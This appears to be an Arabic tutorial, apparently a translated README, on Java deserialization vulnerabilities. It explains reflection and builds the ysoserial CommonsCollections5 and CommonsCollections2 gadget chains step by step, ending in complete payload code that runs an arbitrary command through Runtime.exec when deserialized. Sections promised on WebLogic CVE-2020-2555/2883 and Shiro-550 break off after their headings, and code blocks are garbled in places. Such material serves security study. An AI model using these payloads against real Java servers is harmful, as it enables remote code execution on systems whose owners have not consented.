مشاركة تقنية حول إلغاء تسلسل Java

تتضمن هذه المشاركة النقاط التالية:

أساسيات تسلسل وإلغاء تسلسل Java
لماذا تحدث الثغرات الأمنية أثناء إلغاء التسلسل؟
الانعكاس في Java
ysoserial CommonsCollections2 و CommonsCollections5
عدة طرق لتحميل الفئات باستخدام ClassLoader في Java
WebLogic CVE-2020-2555 و CVE-2020-2883 RCE
Shiro-550 rememberMe الترميز الثابت الذي يؤدي إلى RCE عن طريق إلغاء التسلسل
WebLogic + Shiro إلغاء تسلسل لتسجيل filter في الذاكرة بضغطة واحدة

أساسيات تسلسل وإلغاء تسلسل Java

يشير تسلسل Java إلى عملية تحويل كائنات Java إلى سلسلة من البايتات لتسهيل حفظها في الذاكرة أو الملفات أو قواعد البيانات. يمكن استخدام طريقة writeObject() من فئة ObjectOutputStream لتحقيق التسلسل، حيث تحول كائن Java إلى سلسلة بايت.

يشير إلغاء تسلسل Java إلى عملية استعادة الكائنات Java من سلسلة البايتات. تستخدم طريقة readObject() من فئة ObjectInputStream لإلغاء التسلسل.

لنأخذ مثالاً بسيطاً، انظر إلى الكود SerializeAndDeserialize ملاحظة: هنا نركز على تحويل النوع القسري في الكود```java package org.chabug.demo;

import org.chabug.entity.Dog; import org.chabug.entity.Person; import org.chabug.util.Serializables;

/* 这个例子是为了证明只要实现了Serializable接口的类都可以被序列化并且Java内置的几大数据类型也可被序列化，因为他们都继承了Object类 */

public class SerializeAndDeserialize {

public static void main(String[] args) throws Exception {
    byte[] bytes;
    String s1 = "I'm a String Object....";
    bytes = Serializables.serializeToBytes(s1);
    Object o1 = Serializables.deserializeFromBytes(bytes);
    System.out.println(o1);

    String[] s2 = new String[]{"tom", "bob", "jack"};
    bytes = Serializables.serializeToBytes(s2);
    String[] o2 = (String[])Serializables.deserializeFromBytes(bytes);
    System.out.println(o2);

    int i = 123;
    bytes = Serializables.serializeToBytes(i);
    int o3 = (Integer) Serializables.deserializeFromBytes(bytes);
    System.out.println(o3);

    // 一只名叫woody的狗
    Dog dog = new Dog();
    dog.setName("woody");

    // tom
    Person tom = new Person();
    tom.setAge(14);
    tom.setName("tom");
    tom.setSex("男");
    tom.setDog(dog);

    bytes = Serializables.serializeToBytes(tom);
    Person o = (Person) Serializables.deserializeFromBytes(bytes);
    System.out.println(o);

}

}

يمكن لأنواع البيانات المضمنة في Java مثل String وInteger وArray وObject أن تقوم بالتسلسل (Serialization)، والطبقات التي نكتبها بأنفسنا مثل Person وDog يمكنها القيام بالتسلسل وإلغاء التسلسل طالما أنها تطبق واجهة Serializable.

## لماذا تحدث الثغرات أثناء إلغاء التسلسل؟

لننظر إلى مقطع كود، الآن هناك فئة كيان خبيثة EvilClass```java
package org.chabug.entity;

import java.io.ObjectInputStream;
import java.io.Serializable;

public class EvilClass implements Serializable {
    String name;

    public EvilClass() {
        System.out.println(this.getClass() + "的EvilClass()构造方法被调用!!!!!!");
    }

    public EvilClass(String name) {
        System.out.println(this.getClass() + "的EvilClass(String name)构造方法被调用!!!!!!");
        this.name = name;
    }

    public String getName() {
        System.out.println(this.getClass() + "的getName被调用!!!!!!");
        return name;
    }

    public void setName(String name) {
        System.out.println(this.getClass() + "的setName被调用!!!!!!");
        this.name = name;
    }

    @Override
    public String toString() {
        System.out.println(this.getClass() + "的toString()被调用!!!!!!");
        return "EvilClass{" +
                "name='" + getName() + '\'' +
                '}';
    }

    private void readObject(ObjectInputStream in) throws Exception {
        //执行默认的readObject()方法
        in.defaultReadObject();
        System.out.println(this.getClass() + "readObject()被调用!!!!!!");
        Runtime.getRuntime().exec(new String[]{"cmd", "/c", name});
    }
}

يحتوي readObject الخاص به على كود لتنفيذ الأوامر Runtime.getRuntime().exec(new String[]{"cmd", "/c", name})، حيث وسيط name هو الأمر المراد تنفيذه. لذا يمكننا بناء كائن خبيث، وتعيين خاصية name الخاصة به إلى الأمر المراد تنفيذه، وعند إلغاء التسلسل (deserialization) يؤدي تشغيل readObject إلى RCE. كما يلي```java package org.chabug.demo;

import org.chabug.entity.EvilClass; import org.chabug.util.Serializables;

public class EvilSerialize { public static void main(String[] args) throws Exception { EvilClass evilObj = new EvilClass(); evilObj.setName("calc"); byte[] bytes = Serializables.serializeToBytes(evilObj); EvilClass o = (EvilClass) Serializables.deserializeFromBytes(bytes); System.out.println(o); } }

![image-20200822105256120](https://assets.kitploit.com/production/public/readmes/21799/7f07c0c8196e56e1d554bce64f73f069bdd3e589a3302936c831903e5f7e5539.png)

الآن نحن نعرف كيف يتم تنفيذ RCE عبر إلغاء التسلسل، لكن من غير الممكن كتابة الكود بهذه الطريقة مباشرة في التطوير، لذا يتعلق الأمر بالبحث عن سلسلة الاستغلال. يتطلب ثغرة إلغاء التسلسل ثلاثة أشياء:

1. مدخل إلغاء التسلسل (source)
2. طريقة الهدف (sink)
3. سلسلة الاستغلال (gadget chain)

إذا نظرنا بعناية إلى نتائج الإخراج في الصورة أعلاه، نجد أنها لم تؤدِ فقط إلى تشغيل طريقة readObject، بل أيضًا إلى تشغيل toString()، والبناء بدون وسائط، وset، وget. لذا في عملية البحث الفعلية عن سلسلة الاستغلال، لا نحتاج فقط إلى التركيز على طريقة readObject().

والآن نحتاج إلى فهم **الانعكاس** (Reflection). لقد ذكرنا سابقًا مشكلة **تحويل النوع الإجباري**. في التطوير العملي، يتم معالجة المنطق في readObject، وعندما لا نعرف نوع البيانات المحدد للكائن المدخل، يتم استخدام الانعكاس لتحديد الاستدعاء. والانعكاس هو وسيلتنا المهمة للوصول إلى RCE.

## انعكاس Java

ما هو الانعكاس؟ كلمة "الانعكاس" تحتوي على مقطع "عكس"، لذا لشرح الانعكاس يجب أن نبدأ من "الانعكاس الإيجابي"، انظر إلى الكود. هذه هي فئة الكيان الخاصة بي.```java
package org.chabug.entity;

import java.io.IOException;

public class ReflectionClass {
    String name;

    public ReflectionClass(String name) {
        this.name = name;
    }

    public ReflectionClass() {
    }

    public String say() {
        return this.name;
    }

    private void evil(String cmd) {
        try {
            Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd});
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String toString() {
        return "ReflectionClass{" +
                "name='" + name + '\'' +
                '}';
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

الكتابة العادية```java package org.chabug.demo;

import org.chabug.entity.ReflectionClass;

public class ReflectionDemo { public static void main(String[] args) { ReflectionClass demo = new ReflectionClass(); demo.setName("hello"); System.out.println(demo.say()); // demo.evil("calc"); // 不能够调用private方法 } }

ببساطة، يتم إنشاء مثيل من `ReflectionClass` باستخدام `new`، ثم استدعاء أساليبه عبر هذا المثيل، وهذا ما يُسمى "الإسقاط المباشر". ولكن ماذا لو كنت لا تعرف اسم الفئة عند استخدام `new`؟ كيف تستدعي الأساليب المحمية بـ `private`؟ هنا يظهر دور الانعكاس (Reflection). انظر إلى مقطع الكود التالي```java
package org.chabug.demo;

import org.chabug.entity.ReflectionClass;

import java.lang.reflect.Method;

public class ReflectionDemo {
    public static void main(String[] args) throws Exception {
        // new
        Class<?> aClass = Class.forName("org.chabug.entity.ReflectionClass");
        Object o = aClass.newInstance();

        // setName("jack")
        Method setName = aClass.getDeclaredMethod("setName",String.class);
        setName.invoke(o, "jack");

        // say()
        Method say = aClass.getDeclaredMethod("say",null);
        Object o1 = say.invoke(o, null);
        System.out.println(o1);

        // evil("calc")
        // 反射可以修改方法的修饰符来调用private方法
        Method evil = aClass.getDeclaredMethod("evil", String.class);
        evil.setAccessible(true);
        evil.invoke(o,"calc");
    }
}

لا حاجة لمعرفة اسم الفئة مسبقًا، يمكن استخدام فئة org.chabug.entity.ReflectionClass وتعديلها عن طريق تمرير المعاملات، ويمكن الحصول على الطرق أو الحقول الخاصة المحمية باستخدام setAccessible.

ثم سنبدأ من الثغرة، ونتعمق في فهم دور الانعكاس في إلغاء التسلسل، واستكشاف سلاسل استدعاء إلغاء التسلسل.

ysoserial CommonsCollections2 و CommonsCollections5

ysoserial هي أداة لتوليد exploits لإلغاء تسلسل Java، وقد تضمنت بعض exploits المعروفة، مثل سلسلة استغلال CommonsCollections. هذه المرة سنقوم بتحليل سلسلتي CC2 و CC5. سبب تحليل هاتين السلسلتين هو أن CC2 تستخدم عمليات تعريف البايت كود، بينما CC5 تهدف إلى تعميق الفهم حول الانعكاس واستدعاءات السلسلة.

لنبدأ أولاً بسلسلة CC5 التي يسهل فهمها.

CommonsCollections5

الثغرة تظهر في `org.apache.commons.collections.functors.InvokerTransformer#transform````java public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } }

بمقارنة الكود في فصل الانعكاس (reflection)، يتضح أن هذا استخدام نموذجي للانعكاس؛ وبتفسيره باستخدام كود مباشر (غير انعكاسي) فإنه يكون:```java
input.iMethodName(iArgs);

هذه this.iMethodName وthis.iParamTypes وthis.iArgs كلها قابلة للتحكم في المُنشئ. ومن ثم يمكن استدعاء أي طريقة من كائن الإدخال مع تمرير أي وسائط.```java public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }

لذا، أولاً، قم بإنشاء كود لتنفيذ الأوامر```java
package org.chabug.demo;

import org.apache.commons.collections.functors.InvokerTransformer;

public class CC5 {
    public static void main(String[] args) throws Exception {
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        invokerTransformer.transform(Runtime.getRuntime());
    }
}

نظرًا لأن فئة Runtime هي نمط مفرد (Singleton)، يجب الحصول على كائن Runtime من خلال getRuntime()، ثم تمريره إلى transform() ليظهر الحاسبة.

لكننا نعلم أنه عند إجراء إلغاء التسلسل، يتم تنفيذ readObject() تلقائيًا فقط. إذا قمنا ببناء كائن InvokerTransformer مباشرة في هذه الحالة، فلا يزال يتعين حل مشكلتين:

التنفيذ التلقائي لـ Runtime.getRuntime()
التنفيذ التلقائي لـ invokerTransformer.transform()

أولاً، دعنا نحل المشكلة الأولى: في org.apache.commons.collections.functors.ChainedTransformer#transform يمكن تحقيق الاستدعاء المتسلسل.```java public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; }

تعريف this.iTransformers هو مصفوفة Transformer```java
private final Transformer[] iTransformers;

Transformer هي واجهة، وقد قامت InvokerTransformer بتنفيذ هذه الواجهة.

وفقًا لمبدأ التحويل الضمني للأنواع في Java، يمكننا تعريف مصفوفة من Transformer، ووضع عدة InvokerTransformer فيها لتحقيق استدعاءات انعكاسية متعددة، والحصول على Runtime.getRuntime().exec()```java package org.chabug.demo;

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer;

public class CC5 { public static void main(String[] args) throws Exception { // ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc"); Transformer[] transformers = new Transformer[]{ // 传入Runtime类 new ConstantTransformer(Runtime.class), // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}) }; Transformer chain = new ChainedTransformer(transformers); chain.transform(null); } }

والأمر الذكي هنا هو تمرير `Runtime.class` عبر مُنشئ فئة `ConstantTransformer`، مما يلغي حاجتنا لتمرير `Runtime` بأنفسنا.

الآن نحن بحاجة لحل المشكلة الثانية: كيفية تشغيل `transform()` تلقائيًا. من المعروف أن `readObject()` يتم تنفيذه أثناء إلغاء التسلسل. فهل توجد فئة يستدعي فيها `readObject()` طريقة `transform()` بشكل مباشر أو غير مباشر؟

في `org.apache.commons.collections.map.LazyMap#get`، يتم استدعاء `transform()`.```java
public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

انظر إلى طريقة البناء لهذه الفئة وحقل factory```java protected final Transformer factory;

public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); }

حقل factory مُعدَّل بـ final و protected، لكن لديه طريقة عامة decorate() لتوليد كائن من هذه الفئة، ومن ثم يمكن بناء ما يلي```java
HashMap hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chain);
map.get("test");	//执行这个就会弹出计算器  map.get() > transform()

الآن يتم البحث عن مكان استدعاء طريقة get() للخريطة org.apache.commons.collections.keyvalue.TiedMapEntry#getValue```java private final Map map; private final Object key;

public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; } public Object getKey() { return this.key; } public Object getValue() { return this.map.get(this.key); } public String toString() { return this.getKey() + "=" + this.getValue(); }

getValue() تستدعي map.get()، ويمكننا التحكم في this.key أيضًا. وtoString() تستدعي this.getValue(). الآن تابع البناء.```java
HashMap hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chain);
// map.get("test");
TiedMapEntry key = new TiedMapEntry(map, "key");
key.toString();	// toString > getValue() > map.get()

المشكلة الآن هي كيفية تشغيل readObject تلقائيًا لـ toString()، وهذا بسيط، في فئة jdk المدمجة هناك فئة استثناء BadAttributeValueExpException، والتي تقوم readObject() الخاصة بها بتنفيذ toString()```java public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); } public String toString() { return "BadAttributeValueException: " + val; }

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null);

if (valObj == null) {
    val = null;
} else if (valObj instanceof String) {
    val= valObj;
} else if (System.getSecurityManager() == null
           || valObj instanceof Long
           || valObj instanceof Integer
           || valObj instanceof Float
           || valObj instanceof Double
           || valObj instanceof Byte
           || valObj instanceof Short
           || valObj instanceof Boolean) {
    val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
    val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}

}

لأن System.getSecurityManager() يكون افتراضياً null، لذلك يتم تشغيل val = valObj.toString()، ثم الدخول إلى TiedMapEntry.toString()، الـ payload النهائي```java
package org.chabug.demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.chabug.util.Serializables;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void main(String[] args) throws Exception {
//        ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
        Transformer[] transformers = new Transformer[]{
                // 传入Runtime类
                new ConstantTransformer(Runtime.class),
                // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                // 调用exec("calc")
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
        Transformer chain = new ChainedTransformer(transformers);
//        chain.transform(null);
        HashMap hashMap = new HashMap();
        Map map = LazyMap.decorate(hashMap, chain);
//        map.get("asd");
        TiedMapEntry key = new TiedMapEntry(map, "key");
//        key.toString();

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, key);


        byte[] bytes = Serializables.serializeToBytes(badAttributeValueExpException);
        Serializables.deserializeFromBytes(bytes);
    }
}

يجب ملاحظة أنه عند التصريح عن كائن BadAttributeValueExpException، لم يتم تمرير معلمة entry مباشرة، بل تم تعيينها باستخدام الانعكاس. وذلك لأن المُنشئ الخاص بـ BadAttributeValueExpException يتحقق مما إذا كانت القيمة فارغة؛ فإذا لم تكن فارغة، فسيتم تنفيذ toString() أثناء التسلسل. وعند إلغاء التسلسل، نظرًا لأن entry التي تم تمريرها أصبحت بالفعل سلسلة نصية، فلن يتم تشغيل طريقة toString().

خلاصة: استخدم الانعكاس والاستدعاء التسلسلي بمرونة، ثم ابحث عن أداة (gadget) لتحقيق RCE بنجاح.```java /* Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections */

### CommonsCollections2

فيما يتعلق بـ CommonsCollections2، نحتاج أولاً إلى فهم الكود البايت (bytecode) لجافا. في جافا، يجب تجميع جميع أكواد جافا إلى ملفات بايت كود كلاس (class bytecode) ليتم تنفيذها بواسطة JVM. يشبه البايت كود لغة التجميع (assembly) مع ضعف قابلية القراءة، ولكن هناك العديد من المكتبات الممتازة التي تعمل على معالجة وتعديل وتحرير البايت كود لتحقيق البرمجة، مثل asm و cglib و javassist. في أداة ysoserial، يتم استخدام مكتبة javassist. دعونا نلقي نظرة على كيفية كتابة حمولة (payload) لـ cc2 في ysoserial.```java
public Queue<Object> getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;

    return queue;
}

انظر أولاً إلى السطر الأول في Gadgets.createTemplatesImpl(command)```java public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); }

return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

}

تم ذكر فئة org.apache.xalan.xsltc.trax.TemplatesImpl، لذا يجب أولاً إلقاء نظرة على سطرين من الكود.```java
package org.chabug.demo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import ysoserial.payloads.util.Gadgets;

public class CC2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl object = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");
        object.newTransformer();
    }
}

لماذا تظهر الآلة الحاسبة؟ الغوص في createTemplatesImpl()```java public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); }

return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

}

public static T createTemplatesImpl ( final String command, Class tplClass, Class abstTranslet, Class transFactory ) throws Exception { final T templates = tplClass.newInstance();

// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
    command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
    "\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

final byte[] classBytes = clazz.toBytecode();

// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
    classBytes, ClassFiles.classAsBytes(Foo.class)
});

// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;

}

الكود أعلاه يقوم بالأمور التالية:

1. قام بإنشاء كائن `org.apache.xalan.xsltc.trax.TemplatesImpl` باسم `templates`، حيث يمكن للحقل `_bytecodes` فيه تخزين bytecode.
2. قام بكتابة فئة `StubTransletPayload` خاصة ترث `AbstractTranslet` وتنفذ واجهة `Serializable`.
3. حصل على bytecode الخاص بـ `StubTransletPayload` واستخدم `javassist` لإدراج bytecode من `templates` (تنفيذ أمر عبر `Runtime.exec`).
4. باستخدام التأمل (reflection)، قام بتعيين الحقل `_bytecodes` في `templates` ليحتوي على bytecode الخاص بتنفيذ الأمر.

في الواقع، هو قام بتنفيذ فئة فرعية من `org.apache.xalan.xsltc.trax.TemplatesImpl`، ثم أدخل bytecode ضارًا خاصًا به في الحقل `_bytecodes` الخاص به. لاحظ `newTransformer()`.```java
public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
                                      _indentNumber, _tfactory);

    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }

    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}

Will execute getTransletInstance(), proceed```java private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null;

    if (_class == null) defineTransletClasses();

    // The translet needs to keep a reference to all its auxiliary
    // class to prevent the GC from collecting them
    AbstractTranslet translet = (AbstractTranslet)
        _class[_transletIndex].getConstructor().newInstance();
    translet.postInitialization();
    translet.setTemplates(this);
    translet.setOverrideDefaultParser(_overrideDefaultParser);
    translet.setAllowedProtocols(_accessExternalStylesheet);
    if (_auxClasses != null) {
        translet.setAuxiliaryClasses(_auxClasses);
    }

    return translet;
}
catch (InstantiationException | IllegalAccessException |
       NoSuchMethodException | InvocationTargetException e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
    throw new TransformerConfigurationException(err.toString(), e);
}

}

السطر التالي سيقوم بإنشاء مثيل جديد من الفئة المعرفة بواسطة bytecode، وفي كتلة static داخل الفئة المعرفة بواسطة bytecode مكتوب Runtime.exec، مما يؤدي إلى RCE.```java
AbstractTranslet translet = (AbstractTranslet)            _class[_transletIndex].getConstructor().newInstance();

إذاً، ابحث عن فئة تستدعي template.newTransformer() داخل readObject. وهي PriorityQueue في الحمولة.

PriorityQueue هي قائمة انتظار ذات أولوية غير محدودة تعتمد على الأولوية. يتم ترتيب عناصر قائمة الانتظار ذات الأولوية وفقًا لترتيبها الطبيعي، أو وفقًا لـ Comparator المقدم عند إنشاء قائمة الانتظار، حسب طريقة البناء المستخدمة.

اطلع على readObject() الخاص بها.```java private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
    queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();

}

بما أنها قائمة انتظار ذات أولوية، فلا بد من وجود ترتيب. في heapify()```java
private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]); // 进行排序
}
private void siftDown(int k, E x) {
    if (comparator != null) 
        siftDownUsingComparator(k, x); // 如果指定比较器就使用
    else
        siftDownComparable(k, x);  // 没指定就使用默认的自然比较器
}
private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}
private void siftDownComparable(int k, E x) {
    Comparable<? super E> key = (Comparable<? super E>)x;
    int half = size >>> 1;        // loop while a non-leaf
    while (k < half) {
        int child = (k << 1) + 1; // assume left child is least
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            ((Comparable<? super E>) c).compareTo((E) queue[right]) > 0)
            c = queue[child = right];
        if (key.compareTo((E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = key;
}

comparator هو المقارن، عند تحديد comparator، يتم إدخال comparator.compare((E) c, (E) queue[right]). comparator هو كائن واجهة Comparator.```java private final Comparator<? super E> comparator;

عند فحص علاقة الوراثة، نجد أن فئة `TransformingComparator` في حزمة CC تقوم بتطبيق واجهة `Comparator`.

![image-20200822155342130](https://assets.kitploit.com/production/public/readmes/21799/8efbc6595d2b8d6f314f557bbc3763d8d3d082872989758404641a4e58701b20.png)

طريقة `compare()` لفئة `TransformingComparator````java
public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

مهلاً، أليس هذا بالضبط استدعاء الانعكاس لأي طريقة transform السابق! هذا this.transformer يحمل فئة InvokerTransformer، واستدعاء newTransformer() عن طريق الانعكاس مباشرة يؤدي إلى RCE. قم ببناء الـ payload.```java public Queue getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);

// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;

return queue;

}

النقطة المربكة قد تكون في `new InvokerTransformer("toString", new Class[0], new Object[0])`، لماذا يتم استخدام toString أولاً ثم تعديله عبر الانعكاس إلى newTransformer؟ لأنه إذا تم استخدام newTransformer مباشرةً أثناء التسلسل، سيظهر خطأ `The method 'newTransformer' on 'class java.lang.Integer' does not exist`، لذا استخدمت ysoserial حيلة ذكية: استخدام toString أولاً لمقارنة السلسلة النصية مع الرقم 1، ثم تعديلها عبر الانعكاس إلى newTransformer.```java
/*
    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()
 */

WebLogic-Shiro-shell

الأكثر شعبية

اشتقاق السلسلتين

BytecodeLoader```java

WebLogic CVE-2020-2555 CVE-2020-2883 RCE

CVE-2020-2555